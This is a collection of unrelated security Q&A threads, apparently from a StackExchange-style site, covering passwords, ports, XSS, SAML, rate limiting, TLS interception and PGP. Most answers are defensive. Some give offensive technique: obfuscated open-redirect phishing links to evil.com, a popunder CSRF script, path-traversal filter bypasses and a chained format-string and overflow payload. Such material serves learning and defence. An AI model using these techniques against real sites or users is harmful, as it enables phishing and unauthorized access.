Generate user a password instead of asking for one? I'm trying to weigh the benefits of not allowing users to create their own passwords, but must pick out of a generated selection. Are there any examples of sites that use this approach?

Workflow adjustments for such a site would be along the lines of:

Registration: user is prompted to pick of the generated passwords for their account.
Password reset: user is prompted to pick a password from a list of generated passwords after clicking the reset password link in their email or SMS.

Assuming that this system was coupled with instructions on how to use a password manager or other password memorization system, would it be worth implementing on a new site?

Generating passwords for user means that you will get good passwords. However, security is an all-encompassing thing; you also need the users to remember the passwords, and not store them insecurely (the traditional stick-up note under the keyboard), and, generally speaking, you need the user to cooperate. There is little worse that you can do than turning the user into an enemy.

Therefore, a good thing to do is to provide an optional password generator: a button which the user can click, to obtain a strong, randomly generated password, which they can use. But do not enforce it: otherwise, users will become hostile, and hostile users are very creative when it comes to working around security features.

There are a few gotchas to be mindful of, when generating user passwords:

Don't overdo it. We know that your password generator can produce passwords with 37 random signs. But you really really need the users to accept the passwords.
Have the user type the password. Passwords are remembered with the fingers. If the user can just select the password with a button, or copy-and-paste it, then he will enter it at registration time without typing it, and 90 seconds later he will have forgotten it entirely. Forgotten passwords are extra helpdesk time. Preventing copy-and-paste means that the password will have to be shown on the screen as a collection of pictures, not selectable text.
Beware of shoulder surfing. If the user sees the generated password, then the password in displayed on the screen. In many situations (in particular work-related environments), the user cannot practically prevent colleagues with sneaky eyes from taking the occasional peek. This is the reason why password-entry fields are obscured, and the same reason applies here.


Open ports on mac. Safe? My friend is currently running the default firewall on his mac with "Block all incoming connection" (except the basic ones like 80). I just scanned his mac for open ports and I found the following:

 Open TCP Port:     3128        ndl-aas
 Open TCP Port:     8080        http-alt

Is it normal to have those ports open, or does he have something fuzzy installed?

Well, "block all incoming connections" should block all incoming connections so you should not be able to find any open port. Note that even port 80 ought not be open either: a typical desktop system has no business running a Web server itself.

The fact that there are open ports is indicative that the "block all incoming connections" setting does not work as expected. Port 3128 is a traditional port of an HTTP proxy.

What you report does not add up. Either the Mac runs some servers, does not block incoming connections, and could be under active external hostile control. Or maybe you made a typing error and you are not scanning the machine you believe you are scanning.


Avoid malicious Javascript in RSS feeds I'm implementing an RSS client where users can select feeds and have them displayed in one place.

I noticed that some RSS feeds have HTML in the description element. Does this mean that some feeds could contain potentially malicious javascript?

Is there any safe way to render the feed's HTML? Or should I always assume that it could be malicious?

Example:

<description>
  <script>
    window.location.href='http://fakebook.com'
  </script>
</description>

You can just disable javascript. There is not really a good reason items in RSS feeds should use it.


Encrypting passwords with a client & server side key I'm in need of a safe way to store a password in a database, but I also need a way to get the original password back. Of course if this was not the case I would just hash it. To work around this problem I came up with the following solution, but I would like to know if its secure.

I have a secret key on the server, and another secret key that is saved in the client-side application. The latter is different for every user and a new key is generated every time a user logs in.

The only time the server will have both keys is when a user makes a request and the server needs to get the raw password. This means that when the server is breached the passwords are still secure, since you only have half of the total key, and since I'm using AES 256, you still need to crack 128bits.

Is this OK or am I missing something important?

Edit: I need to use the client's password in API calls to external services

Couple of Attack scenarios i think of

First, If the server is compromised, then the attacker can silently wait(monitor) in the server to collect user side secret key as the requests come in. He can use this client key and the server key to recover plain text passwords.
Second, If the server is compromised the attacker can use various other methods like client-side software updates and push malware to clients which will collect the client secret keys and send them to attacker.The attacker can have the dump of database and use these collected keys to decrypt the dump.

In any of above case, If the server is compromised, the attacker can gain access to plain text passwords.


Can someone redirect or block emails of a specific sender? I’m expecting some information from a governmental organisation, they claim that they already send the info via email, but I have never received anything.

They also have an automatic reply email, when I email them, then I don’t even get the automatic reply in my outlook inbox or anywhere else.

The nature and the sensitivity of the information in the mails, and the fact that I miss a lot of emails, got me thinking if this possible, a third party can redirect emails. I don’t know if my scenario is even slightly possible!

I have a feeling that if someone selectively decides which emails should I receive.

I constantly changed my password, and even changed my devices, haven’t opened unknown emails and respect all the basic security steps

Sure, any email relay in the chain can block emails.

Are they doing this, specifically, to craft your experience? Very highly unlikely.

Before jumping to malicious conclusions, make sure that you have exhausted all technical conclusions first.

Make sure that you check all the normal things like your junk/spam folder and any custom email handling rules.

Email rules brings up the one idea that could be malicious: someone might have gained access to your email account and set up rules. But this is not about some external email system, this is a targetted attack. Unlikely, but possible.

So, check those things on your end, then set up another email account and have them try that instead. All the normal email troubleshooting stuff.


How can I defend my mail server against ransomware? First of all I'm aware that I should use some anti-virus mechanism to prevent as much as possible any ransomware being delivered through my mail server - and yes I'm already using that kind of protection.

What is the best practice for a sys admin to fight against ransomwares? I had in my mind couple of things, like; blocking mostly used (by them) file types, implementing SPF, DKIM and DMRAC, anti-spam mechanism... So any ideas guys?

This can be useful to know because I belive that ransomwares are most of the time delivered through emails. EDIT: my belive was right, here is an example of 2016 stats - Email is the #1 delivery vehicle for ransomware -

Source

To add to Julia's answer, this might sound a little bit cliche, but education is another strong point of defending against malware. Awareness of phishing links, even sending a global email to everyone with basics steps on how to be careful against emails does wonders. Surprising as it may sound, a lot of people don't even know that emails can contain scam or other far worse malicious intrusions. This is from social side.


Is strip_tags() horribly unsafe? I always use strip_tags to prevent XSS attacks, but today I saw a post which was telling it's horribly unsafe. As the manual says, it doesn't check for malformed HTML!

Is it true?

What can I do to prevent XSS?

To prevent XSS you need to:

Validate all user input that you'll process (for example - if id GET parameter should be a number, ensure it is with e.g. PHP's is_number() function or using Filter extension). This should not only include GET / POST parameters, but also cookie names, cookie values, HTTP headers, uploaded file names etc. Attackers can manipulate requests in many ways. If you need to accept & display HTML content from the user (e.g. in CMS application) use well-tested HTMLPurifier library to filter out Javascript & other XSS payload and leave only clean, sanitized HTML.
When displaying the value use contextual output encoding (sometimes called 'escaping'). There are different rules on how to encode user-supplied value whether it occurs in:

HTML context e.g.
{$_GET['id']}

HTML attribute context e.g.

Javascript context e.g.
CSS context e.g.

It's best to refer to recommended rules described in OWASP XSS Prevention Cheat Sheet. Read it thoroughly and adher to it - XSS is #2 risk to web applications today so you really need to protect from it. See also OWASP tutorial video on XSS.


Between point to point connectivity and remote network access, which is riskier? Between point to point connectivity and remote network access, which is riskier? If I have a third party accessing my company's network, which are the different modes through which they can access and what would be the order of risk for each kind of network connection?

This is a very general question. You must start with a blank sheet of paper and draw what (application, service, ,...) needs to be accessed by whom (local or remote users, ...) and how (via which route).

With this in mind you must decide what is the most restrictive access you can afford, starting with having your service hosted on Internet without connectivity to your network (which will probably not work) and then slowly bringing it in through the network layers (DMZ, LAN, ...). At the same time look at how the third party will access the service (it does not have to be VPN, it could be SSL to an application, or a virtual desktop, ...).

This is to say that there is no definite answer to your question, it is entirely dependent on the service, on your network configuration, and the general architecture.

EDIT following comment (very broadly):

VPN: an extension of the network which bridges a computer to a computer, a computer to a network or a network to a network
virtual desktop: a service which provides a virtual environment (equivalent to a physical desktop) which is accessed via a browser or a specific client (RDP for instance).
Application: access to data is done via a web application, directly exposed to Internet, or limited to a set of IPs, to browsers which can provide a certificate, etc.


SAML and privacy: does the Identity Provider have to know about the Service Provider? Does the SAML Identity Provider have to know which Service Provider the User is trying to authenticate with, during a Single Sign-On?
By looking at the specs, I see references to various elements that to me indicate an affirmative response to the previous question, namely:

protocol:AuthnRequest/Issuer
protocol:AuthnRequest/AssertionConsumerServiceURL
metadata:EntityDescriptor/AssertionConsumingService

And possibly others.
Background
The question might be naive to the expert, but I'm not an expert on the specific topic, and I'm trying to get an authoritative response because it concerns a fairly hot issue going on in Italy at the moment. It's being discussed, within the government, whether to enforce a SPID-based authentication scheme upon the many private social networks available in Italy, like Facebook, TikTok and the like.
SPID is a nationwide SAML-based authentication scheme citizens can use to identify themselves with internet-provided public services. Citizens are able to use SPID only after registering themselves with a state-approved Identity Provider using their own official identity documents (ID card, passport, and the like).
My concern is that enforcing the use of SPID with private social networks, not only anonymity will get thrown out of the window, but also that the state Identity Provider will be able to know which Services the User is accessing, thus profiling citizens, their habits and all that comes with it in terms of respect of (human) rights.

This image helped me understand, immensely.

The short of it is that, yes the SP needs to know the IdP. It's totally up to the IdP what information they send the SP, during the auth exchange, but there need to be an initial exchange of public key/signature information between the two.
Source: We're starting to onboard enterprise and need the SSO.
Image from Okta


How to exploit open redirect vulnerability? I have the following open redirect vulnerability:

<?php
$redirectUrl = $_GET['url'];
header("Location: $redirectUrl");
?>

This exploit sends user from your page to evil page:

example.com/?url=example.com/faq.php
example.com/?url=evil.com/sploitCode.php

How do I insert evil.com/sploitCode.php into the victim's page/URL?

Exactly as you are doing. The idea of open redirect vulnerabilities is to use the trust a user has in a specific website (the vulnerable site), and exploit it to get them to visit your website.

So you would send this link to a user: example.com/?url=evil.com/sploitCode.php. Because the website they see is example.com, and they trust them, they will click on it (in theory). On the other hand, if you would have send them evil.com, they would not click on it, because they do not know or trust it.

You can also obfuscate the url further example.com/some/nice/sounding/path/%2F..%2F..%2F..%2F..%2F/?url=evil.com/something-less-evil.php?some-unneded=parameters. Then you can also wrap it up in a nice a tag, so users will be less suspicious (then the main advantage is that hovering over the link will show them an innocent link at first glance) .


How can one mitigate both account-level DOS attacks and online brute force attacks at the same time? I was recently reading this question, where the accepted answer claims that it is easy for attackers to bypass rate limiting that is based on IP, which makes any sort of IP rate limiting to prevent a brute force attack much less useful. But, if it is based on the account that is a victim, then it becomes very easy for an attacker to block access to a victim's account. What is the best way to defend against both account-level DOS attacks and online brute force attacks (and anything else that is in this same category)?

Simply sleeping for, for example, 1 second isn't sufficient because the attacker can simply put in more requests before the first one finishes (1 second latency, but unbounded throughput, and throughput is what matters for brute force). If subsequent requests are blocked until the first one finishes, then they must be blocked per-IP or per-user, which produces the same problem.

2FA isn't always a good solution either, because, for worse, many people fail to use it.

You can use IP-based rate-limit, even if the attacker can control multiple IP addresses.

For you, keeping track of tens of thousands of IP addresses is easy: just create a database table with IP address, account accessed, and number of authentication errors. If they are above a threshold, slow down the response.

  Simply sleeping for, for example, 1 second isn't sufficient because the attacker can simply put in more requests before the first one finishes.

In this case, you need to look on your table, see if there's more than, say, 5 requests, and add the wait time at the end of the request. So no matter if the attacker sent 10 or 1000 requests, he will have to wait. The wait time should be exponential, not linear, to further increase the attack cost.

For the attacker, controlling more than hundreds of IP addresses is not trivial. They will end up being slowed down by the rate limit, increasing the cost of the attack substantially. But the victim will not be affected.


Why would it be a good idea for someone to get a YubiKey? For what uses would it be smart to get a YubiKey?

I bought, and enthusiastically use, my yubikey.  The way it stores two OTP profiles is particularly useful: with one set of keydata (short-press-the-button) I kept the secrets close, and use it for sudo (and, one day for straight ssh login) access on my colo'ed box.  The other (long-press-the-button) I shared with Clavid, who offer an OpenID authentication service which allowed me to properly tighten my whole OpenID authentication loop [1].

As others have pointed out, unlike a number of other hardware-authentication-dongle services, you control your own keying material, and don't have to trust any third party to get things right if you don't want to.

One of the biggest wins with it is being able to use untrusted endpoints to authenticate via the 'key, because the password so disclosed is useless as soon as it's used.  The biggest problem with that, however, is that many classically-insecure endpoints (eg cybercafe PCs) disable their USB ports, which can make finding somewhere to plug the Yubikey in quite hard.

On the whole, though, I think they're a big win.

[1] I'm a big fan of OpenID.  The thing that originally brought me to server fault, the SE site where I do most of my posting, was its offering OpenID authentication.


How can I trace a user on my network? I want to trace a user based on IP Address (or MAC Address) on a Network with about 10 L2 or L3 Switches. Is it possible to know that on exactly which switch and on which port a user with a specific IP Address (or MAC Address) is working?

Sure you can, all you need to do is query all your switches for the mac-address table. From there you can see to which physical switch the user is connected to, all you need to do then is follow the TP-cable to the machine.

Wireless is a bit more complicated as you can only be sure about the access point the user is connected. If you aren't dealing with malicious users (who often spoof mac addresses) you can try to see if the user is using a particular chipset (based on the MAC address you can identify the chip vendor). From here you can establish what type of device it most likely is (it's not foolproof though).


Storing password reset token in DB - what are the implications? In multiple systems I've built/supported I've seen user management do the following for password reset: generated a password reset token via some hashing method and email the link with token to user. Usually there are bits of information included into these tokens - user id, user security stamp, date, server name or machine key (I'm going with ASP.Net Identity framework now). When user follows the link with token, framework follows the same process to rebuild the token and compares the token with user-provided one. If tokens match - allow for password reset.

A lot of time machine-related parts of token change from the moment of token generation to the moment when user uses that token. I.e. IIS restarts and this can invalidate token in some cases. When web-application is spread on multiple servers (i.e. web-farm), chances of this token to be invalid are higher (i.e. machine keys are not synchronised between machines, etc.).

Now I'm considering a scenario where I store the generated token in the database, add a generation timestamp. And when user comes back with the token, I don't re-generate the token, but rather compare the stored token, validate the timestamp and allow/disallow password reset.

Given that token now becomes a password (though time limited), for a good measure I can treat it as password and store hash only.

I can't think of flaws in this scenario, but I'm sure there some. Given the implementation of this scenario is solid, what other issues might arise from storing the tokens?

Store (user_id, expiration_time, hash_of_token). If hash function used is secure and tokens are unpredictable (with at least 128 bits of entropy), then there is no way for someone else to generate a valid tokens even if the attacker had read-only access to the database.

Specifically the hash function has to be resistant to preimage attacks. (SHA-2 and several other algorithms qualify.)

If the entropy behind randomly generated tokens is small then someone with read access can brute-force test preimages and potentially recover the token. Someone could also brute-force test potential tokens online (subject to rate limiting) with some probability of success dependent on how much entropy the tokens have and how many candidate tokens they can try.

High min-entropy inputs can be hashed with ordinary secure hash functions because it's not possible to test every possible input. Passwords, however, should be hashed with a dedicated password hashing algorithm (Argon2) because most passwords have very low entropy.

Those database fields, a CSPRNG, and a preimage attack resistant hash function are all that's strictly necessary, but see Secure Account Recovery Made Simple for additional information.


Is it possible to trick a person into going to a website, and running JavaScript, without them knowing? (no iframes) My website is W. If you make a GET request to my website, it gives you JavaScript, and if you execute the JS, then you do some action (if you are logged in and have a session cookie).

Can someone stealthily trick others into executing the JS? They could trick others into making a GET request by including an <img> for example. Assume W has the X-Frame-Options header set to sameorigin, so we cant't embed it.

That is, they can simply link to the site and if you click it then you'll perform the action, but you'll immediately realize you have because the browser shows you the tab has changed to W. Is there a way to do it so the victim does not realize?

This appears to be the same as CSRF, except that the payload is executed by JavaScript.

Because X-Frame-Options is set to prevent framing, the JavaScript can only be executed if the GET request is opened in a new window (or tab).

<img> tags won't work because any HTML or script returned in the response won't be interpreted by the browser.

If your JavaScript is in a separate file then <script src= could be used on a third party domain. If the script causes the request with side-effects to be made using absolute URLs only, then these could also trigger the CSRF vulnerability. However, note that the requests that this JavaScript makes could simply have the CSRF exploit applied to them directly, unless the JavaScript itself is dynamic and contains embedded CSRF tokens.

If the JavaScript uses relative URLs, then the vulnerability wouldn't be triggered. e.g. example.org embeds your script <script src="http//example.com/foo.js">, but because relative URLs are referenced, subsequent requests go to example.org instead of your example.com.

  That is, they can simply link to the site and if you click it then
  you'll perform the action, but you'll immediately realize you have
  because the browser shows you the tab has changed to W. Is there a way
  to do it so the victim does not realize?

To me, as said above, if there is a vulnerability in www.example.com/page.php?javascript_action=foo which causes some JavaScript to be executed which does action foo, and say this action is validated so that it can only be foo and other trusted functions (i.e. no eval) then you can probably create the action with side-effects that foo does simply by requesting that handler directly.

However, if this handler is itself protected by CSRF controls (e.g. page.php contains an anti CSRF token) then you will have to open the page in plain sight, but you could do something sneaky like open a popup/popunder window, and immediately close the page before the victim realises:

<script>
var foo;

function bar() {
  foo.close();
}

foo = window.open('http://www.example.com/page.php?javascript_action=foo');
setTimeout(bar, 3000);
</script>

Note that the above will usually trigger the browser's popup blocker (if enabled) - it is just an example to explain my point.


Iphone app not allowing proxy Hi everyone I am interested in how a banking app works, especially the way it handles https requests. So I installed one, set my proxy settings, started burp suite and expected it to work. As you may expect it did not.

Burp-suite gave me an error namely: Received close_notify during handshake

At that point i came up with 2 options

1) I did something wrong with the CA installation of burp-suite.To verify this i opened snapchat which also requires  burps CA certificate. Burp suite did function as normal so i think this is the not the problem.

2) The app doesn't allow me to use a proxy server. This seems the most logical thing especially because the error is that burp received a close_notify message which suggests that the app quitted the connection. And also a banking app is (at least i hope) very well protected.

However I still want to inspect the internet traffic of the app so how should i do this? I think i might start using cycript to see if i could enable/disable a function that controls proxy handling. If there are easier ways i would be very willing to hear this.
Another option which seems like a solution to me is  letting the my phone think it isn't connecting to a proxy server by changing ip's or something like that.

Thanks in advance!

You may not have the proper decoder in Burpsuite to perform testing. What "application-type" are you seeing with the requests? E.g., JSON, AJAX, etc., Burpsuite has separate decoders for JSON, and this does not mean your bank's API is using JSON. In order to properly analyze what is going on, you need the right tool for the job. What you can try to do, for study purposes etc, is capture the traffic, shove it through Netwitness Investigator, use its protocol decoder (which is automated) to make sense of all data connections, applications, types, etc. from point A to point B. My guess is, you're not hitting the right protocol to analyze with Burpsuite.


Google adds ryanair flight to calendar without being logged in I booked a flight with ryanair in a browser, where I'm not logged in to google or using googles search engine(I'm using duckduckgo.com)
I didn't use my Google email address in ryanair!

After booking the flight and sending the pdf containing the boarding passes to someone else who print them out:

  I received an email from google that my flight had been added to my
  calendar!

I wonder now how google could possibly know that I'm flying on that day, and more: In my calendar google added flight time/day/booking number etc.

Is google checking attached documents when sending an email? Could google chrome on my computer spy on opera (I was logged in in chrome but not in opera [Where I perfomed the check-in])

Or is there another way that Google knows these private information?

Thanks in advance

**using ubuntu 17.10 and wasn't using gnomes online accounts

EDIT:

In my google calendar is source email given: So google is checking my attachments! In Germany where I live is this illegal, did I accept something that google is allowed to read my emails and attached documents?

Try launching the browser in incognito mode, and redoing the test.

Alternatively, you could try this experiment.  Make your own official-looking "boarding pass" in an editor, save as PDF, and email that to the same friend.  Does this information show up on your calendar?

If so, make a change to your "boarding pass," save as PDF, and encrypt it using some sort of PDF tool.  Then mail it to the same friend.  Does the information show up on your calendar?

If NOT, then make a third change, save as plaintext PDF, and mail it to the same friend.  If you see this one show up on your calendar, then it's clear (at least to me) that your attachments are being scanned by Google.

(If your friend asks for your password from step 2, then you know it's the friend doing this.  If you get no response to this experiment, then (a) your "boarding pass" doesn't look legit to Google, (b) Google's not to blame, and/or (c) your friend is wise to your experiment and is standing down.)


Kaspersky Antivirus "secure connection scan" as broken as Superfish? I've read a lot about Superfish (and similar ad-ware) lately and I basically understand the vulnerability to MITM attacks. But I'm actually wondering if the "secure connection scan" by Kaspersky Antivirus is as broken as the Superfish example?

I mean Kaspersky installs a root certificate onto my computer and "man in the middles" all connections to scan for malware. For my understanding this isn't any better than the Superfish disaster... what makes Kaspersky more secure?

Hopefully, someone will do the testing and give a definitive answer for Kaspersky for you. Meanwhile, here's an answer for the general case:

It depends.

Does running an SSL proxy against yourself weaken your security posture? Certainly. Will any given product weaken your security posture as bad as Superfish? That's very implementation-dependent, and also subject to the threats against the individual product itself.

Superfish failed at two critical points.

It used a weak password to protect a private key that was not unique for each system. This resulted in the key being easily breakable and publicly disclosed so that anyone could pretend to be your authorized Superfish proxy.
It failed to properly validate certain conditions on SSL certificates, which allowed the Superfish proxy to accept otherwise-invalid certificates and present the website to the end-user as if it were legitimate.

While the first part is an important break, it's the second bit which is arguably the most critical flaw. Without the second flaw, users would still be relatively well protected so long as the key remained secret. (Kerckhoffs's principle in action.) However, given that second flaw, an attacker wouldn't even need the key to launch a convincing Man-in-the-Middle attack between a Superfish user and an otherwise-secure website.

Taking this into consideration, there's a couple simple countermeasures which can largely protect users.

Generate unique root keys for each installation, protect them with strong and unique passwords, and do not distribute the keys beyond the host on which the proxy resides. This prevents disclosure of the key for one system from having a substantial impact on the security of any others.
Validate SSL certificates properly, and provide appropriate notifications to the user when something is amiss. Without this, the key doesn't much matter - an attacker just needs to convince the proxy that their site is legitimate, by exploiting a flaw in the validation process, and the proxy will present the site as such to the user.

Get these things correct, and you're good to go - right? Well, not quite.

See, now we run into a problem with presenting the certificate to the user. Because the proxy has to intercept the traffic, and re-key it with its own credentials, the user still never sees the original credentials of the site. Every site will appear to have a certificate issued by the proxy, with date and time stamps according to when the proxy generated the MitM cert. This completely removes the user's own ability to decide which CAs or trust paths they hold credible, or to recognize changes in the certificate over time. It also prevents corroboration of the certificate with other trusted external entities.

Take the case of DigiNotar, where an attacker was able to use a commonly-trusted Root CA to generate bogus certificates for Google services. Without an SSL proxy in place, the user may be alerted to suspicious activity by one or more of several means.

A browser plugin or other utility could compare the certificate to other certificates previously seen at the same site by the same user, and alert the user to unexpected changes. (e.g.: Different CA than before, new certificate issued far out-of-sync with previous certificate's expiration, etc.)
A browser plugin or other utility could compare the certificate to certificates reported at that site, by an online community or other trusted authority, and alert the user to unexpected discrepancies (e.g.: 98% of users in your region report seeing a different certificate than the one you're seeing).
A diligent user might check the certificate themselves frequently and notice the unusual changes.

With a proxy, all of these options are no longer available to the end-user. The proxy itself may be configured to watch for, and alert upon, these issues (just as some browser plugins do) but ultimately the end-user still loses the ability to see it for themselves.


How does Let's Encrypt prevent imposters? Because Let's Encrypt doesn't provide Entity Validation, is it true that one can, for example, generate a certificate that has "Facebook Inc." as Organization for a bogus domain faceb00k.com?

Although Let's Encrypt issues domain-validated certificates and these guarantee only that a certificate was requested by an entity owning the domain, it does have policies in place to prevent imposters in certain cases.

According to the stipulation "3.2.4.3 Verification against High Risk Certificate Requests" in "ISRG Certification Practice Statement"
(v1.4, May 5, 2016):

  To prevent potential phishing, fraudulent use and to take further precautions against potential compromise,
  The CA maintains a list of prior high risk requests and checks a third-party authority list specifying current
  high risk Domain Names. This list is used by servers to identify potential risks. Should an application with
  any potential risk posed to the CA or a Domain Name listed on the third-party authority list, it will be
  flagged and brought to the attention of management to complete further internal verification. To prevent
  high-risk Issuance of a DV-SSL Certificate this internal verification will require one or more the following
  pieces of evidence:

  Request further documentation confirming control of the domain from the Applicant;
  Careful examination of the FQDN to confirm whether the intent of the Domain Registrant or
  Applicant is to imitate or mislead customers of an FQDN on the high risk third party authority list
  in order to commit fraudulent or phishing activities (e.g. www.g00gle.com, www.1dentrust.com,
  etc.) and specific filters that are established at the system level to deny initial applications (e.g.,
  non-US ASCII characters);
  Manual review of all information provided in the online application form; and/or
  Other verifiable proof as deemed necessary by the CA management.

According to the above it is (very likely) not true that you could obtain a certificate for faceb00k.com.

Regardless of that, Let's Encrypt certificates have only the Common Name value set to a verified domain (e.g. CN=example.com), so you could never get a certificate from them with O=Facebook Inc., even for a domain not subject to the above verification process.


Secure Enclave and keychain security I've read the WWDC 2015 article from Apple, which says that:

  We also moved the KeyStore component from the kernel into Secure Enclave and it's that component which controls the cryptography around Keychain items and the data protection.

Does this mean that the private key generated and then stored in the keychain has the similar security level as the private key generated directly in the Secure Enclave?

The one difference I can think of is that the private key generated inside the Secure Enclave is unextractable in any form.

This depends. If you are using the keychain to store a key which you can retrieve then the security level is not the same. You still have to move that key into memory to use it - all the secure enclave does is make storage of that key data when not in use more secure.

Alternatively you can create and store an actual key in the enclave directly. See -

https://developer.apple.com/documentation/security/certificate_key_and_trust_services/keys/storing_keys_in_the_secure_enclave

  When you store a private key in the Secure Enclave, you never actually handle the key, making it difficult for the key to become compromised. Instead, you instruct the Secure Enclave to create the key, securely store it, and perform operations with it. You receive only the output of these operations, such as encrypted data or a cryptographic signature verification outcome.

...

  Can’t import preexisting keys. You must create keys directly inside the Secure Enclave. Not having a mechanism to transfer key data into or out of the Secure Enclave is fundamental to its security.


Bypassing Directory Traversal Filter with separate Folder and File Inputs I am trying to perform a Path Traversal attack on a very simple web only for educational purposes.

What I have to do is access a file named passwords.txt located in \files\private\admin\passwords.txt,  I am on \files\public\ and the URL parameters are the following:

/download.php?folder=&file=&action=download

The path is built concatenating the values of the parameters folder and file to the path \files\public\. None of them are vulnerable to SQL Injection according to SQLMap, neither action. So, if I put:

/download.php?folder=private\admin\&file=passwords.txt&action=download

The resulting path will be \files\public\private\admin\passwords.txt

I have tried the simplest trick like putting \..\ (in plain text and URL encoded form) in order to access the parent folder, but it is not allowed to introduce ...

So, I suppose I have to bypass the security mechanism implemented on the database that injects the path \files\public\ if I want access to that file (DBMS is MySQL).

It is possible to delete the \public\ part of the path using comments with # or another way so I can finally get access to the private directory?

None of them are vulnerable to SQL Injection

Why would they? Is there a reason you expect the download script to perform a query?

You shouldn't rely on tools such as sqlmap. They are meant to make things easier, but if you want to learn - or test an application in-depth -, you need to perform these things yourself.

  It is possible to delete the \public\ part of the path using comments with #

No, that doesn't make sense. The path is build like this:

\files\public\[INPUT_PATH]\[INPUT_FILE]

You can't really comment out something that exists before your input (most - if not all - APIs that allow file access also do not allow comments in file path).

  or another way so I can finally access to the private directory?

If this is for educational purposed, I'm assuming that it is meant to be vulnerable. You say that "it is not allowed to introduce ..".

Is this an assumption you made? or did you look at the source code and is this actually how it works? If this is a filter, you need to check how it actually works.

What if you input ....\\? Maybe the filter replaces ..\ with nothing, which would give you ..\.
Is it filtering the file name and the directory? Are the filters the same? Can you use one to travers, but not the other? Can you use / instead of \?
can you input . as directory, and .\private\passwords.txt as file? It would combine to \files\public\..\private\passwords.txt


Can you perform a buffer overflow and a format string attack at the same time? So I hope I'm phrasing this right. I'm trying to exploit a piece of c code which you can see below.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int user_age;
void secretClub(){
  if(user_age<18){
    printf("Come back when your old enough!!");
  }
  else{
    printf("Come on in.");
}
}

int main(){
  char name[30];
  user_age = 17;
  gets(name);
  printf("Hello there ");
  printf(name);
}

What I'm trying to do here is call the secretClub function and to print "Come on in". So I know if I wanted to just call the secretClub function, I could just overflow the buffer enough with the memory address of the function at the end. And I know that I can use this programs string format vulnerability to modify the variable's value in memory.
What I'm wondering is how to do both in one line? Sorry if this seems like a stupid and obvious question, upon searching I couldn't find much. Any guidance would be greatly appreciated!

Yes, you can certainly chain both of these together. For the most part, you can ignore the other exploit while working on the other; it will just affect your offsets.
Start by constructing your format string exploit at the beginning of your payload. Then, create padding from the end of that to where your buffer overflow offset is (e.g. if the needed offset is 40 bytes and your format string payload is 12 bytes, add padding of 28 bytes). After the overflow padding, add the address of secretClub.
It should look something like this (values are completely made up):
%5435325c$5%n + A*28 + secretClub

Note that user_age probably won't be on the stack since it's a global variable, so the necessary format string payload may be a little trickier than what I've illustrated.


Issuing password information by phone We have a confidential portal for clients.  Historically they have been identified face to face in person and handed a unique token number that is associated with their email address and allows them initial access into their account.  Once accessed they can set up their own user name and password.  I want to be able to issue this token number without a face to face encounter but I am concerned about what steps I need to take to verify identity.  I'm uncomfortable taking the initial information and giving out the token number in the same call.  I could mail the token number but customers want quicker access.  Can I email the token number with reasonable safety?  Use SMS?

It will depend on what you are concerned about. Using SMS as a means of 'out-of-band' communication is normal for many major services. But you have to come to your own conclusion as to whether that is still too exposed for your clients. Do you have independent verification of the SMS number before transmission, for example?

Without knowing the full environment or risk factors, I would caution against over-complicating security measures. Make sure you aren't creating a security infrastructure that costs more than the risks, and costs include usability and client relationships. But those costs are something only you can evaluate.


Threat model for huge warnings on untrusted SSL certificates and no warnings for plain HTTP connections? Why do untrusted/expired SSL certificates get such a huge warning in modern browsers even with "DO NOT VISIT THIS SITE!" messages, whereas a regular HTTP connection, which is more prone to eavesdropping and MITM attacks, doesn't get even a single comparably visible warning? A lock versus a world in a tiny icon is certainly not comparable to huge don't enter here signs.

What's the threat model where huge warnings for untrusted SSL certificates and no warnings (or very small warnings) for plain HTTP are sound?

It is not a threat model, it is a business model. Web browsers cannot warn about plain HTTP because that would be warning about the whole Internet (not a bad warning, really, but one which users will quickly ignore). Web browsers do warn about certificate issues with SSL because successful phishing attempts are very bad publicity. Browser vendor must be able to show that they "do something about it", and that's the scary warnings.

The theoretical justification is that users are obviously trained and know that in the absence of the (in)famous "padlock icon" there is no security. So they don't need warnings for plain HTTP; the lack of padlock ought to be enough.

(It takes a bit of training to be able to say that without sniggering.)


If I send a plaintext e-mail using Gmail to somebody, including my PGP public key block, is that secure? I've been trying to figure out "practical encryption" (AKA "PGP") for many years. As far as I can tell, this is not fundamentally flawed:

I know Joe's e-mail address: cool_joe@gmail.com.
I have a Gmail e-mail address: me_78@gmail.com.
I have GPG installed on my PC.
I send a new e-mail to Joe consisting of the "PGP PUBLIC KEY BLOCK" extracted from GPG.
Joe received it and can now encrypt a text using that "PGP PUBLIC KEY BLOCK" of mine, reply to my e-mail, and I can then decrypt it and read his message. Inside this message, Joe has included his own such PGP public key block.
I use Joe's PGP public key block to reply to his message, and from this point on, we only send the actual messages (no key) encrypted with each other's keys, which we have stored on our PCs.

Is there anything fundamentally wrong/insecure about this? Some concerns:

By simply operating the e-mail service, Google knows my public key (but not Joe's, since that is embedded inside the encrypted blob). This doesn't actually matter, though, does it? They can't do anything with my public key? The only thing it can be used for is to encrypt text one-way which only I can decrypt, because only I have the private key on my computer?
If they decide to manipulate my initial e-mail message, changing the key I sent to Joe, then Joe's reply will be unreadable by me, since it's no longer encrypted using my public key, but Google's intercepted key. That means Joe and I won't be having any conversation beyond that initial e-mail from me and the first reply by him (which Google can read), but after that, nothing happens since I can't read/decrypt his reply?

As Steffen already said, the Achilles' heel on your security is making sure you are talking to Joe, and Joe being sure he is talking to you. If the initial key exchange is compromised, the third party will be able to read your messages, reencrypt and send to Joe, and vice versa.

The crypto does not matter unless you solve this issue. That's why on the HTTPS world, there's a special entity named CA (Certificate Authority). The CA is to make sure Google cannot obtain a certificate for Facebook, and so on. So unless a rogue CA issued the certificate, you can navigate to Google, and be sure you are on Google.

The initial key transfer is the critical one, and this can be done in a couple ways:

in person
by out-of-band message (tweet, Instagram post, snail-mail)
referral by a friend in common (you know Bill, have his key saved, and Bill knows both of you, and shares both keys)

After this exchange, your setup is pretty solid.


Securing exec against executing adversary shell commands I have to execute my .o or .out binary file pre-compiled with gcc, it should be intended to let the user execute the small program so an action is made that connects with the app installed on the user's phone.

But i want to prevent other code not related to this concept from being executed at the same time. What i have is one constant that contains the specified command that must be executed.

<?php
     DEFINE('program', './main.out');
     exec(program);

Or working with a variable that acts as a pointer: exec($executable); ( However i think this is less secure ).

Another way: In a class, declaring a private constant prep that has the line that must be executed in the next procedure, a function, which then executes the escaped specific line. To give an example

    private const prep = "./main.out";

    function executeProgram()
    {
        $e = exec(escapeshellcmd(self::prep));

        exit();
    }

Is there a way to make this function(exec) fully private from being accessed by others?
